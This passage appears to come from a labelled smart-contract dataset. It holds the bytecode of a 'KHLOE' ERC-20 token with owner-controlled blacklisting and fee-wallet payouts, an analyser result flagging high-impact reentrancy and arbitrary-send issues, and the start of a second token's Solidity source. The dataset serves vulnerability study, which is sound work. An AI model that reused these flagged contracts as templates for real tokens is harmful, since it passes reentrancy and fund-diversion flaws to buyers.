fffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4b484c4f4520f09f94a500000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f60565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f62784d081f66c2a78f85e2316cc110193db7e4de49df0e16d2e11d1b740b50b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,492 |
0x5B6754eB22015E781D2f70b5D477d84AAbE8F5c9
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Releasable is Ownable {
event Release();
bool public released = false;
modifier afterReleased() {
require(released);
_;
}
function release() onlyOwner public {
require(!released);
released = true;
Release();
}
}
contract Managed is Releasable {
mapping (address => bool) public manager;
event SetManager(address _addr);
event UnsetManager(address _addr);
function Managed() public {
manager[msg.sender] = true;
}
modifier onlyManager() {
require(manager[msg.sender]);
_;
}
function setManager(address _addr) public onlyOwner {
require(_addr != address(0) && manager[_addr] == false);
manager[_addr] = true;
SetManager(_addr);
}
function unsetManager(address _addr) public onlyOwner {
require(_addr != address(0) && manager[_addr] == true);
manager[_addr] = false;
UnsetManager(_addr);
}
}
contract ReleasableToken is StandardToken, Managed {
function transfer(address _to, uint256 _value) public afterReleased returns (bool) {
return super.transfer(_to, _value);
}
function saleTransfer(address _to, uint256 _value) public onlyManager returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public afterReleased returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public afterReleased returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public afterReleased returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public afterReleased returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BurnableToken is ReleasableToken {
event Burn(address indexed burner, uint256 value);
/**
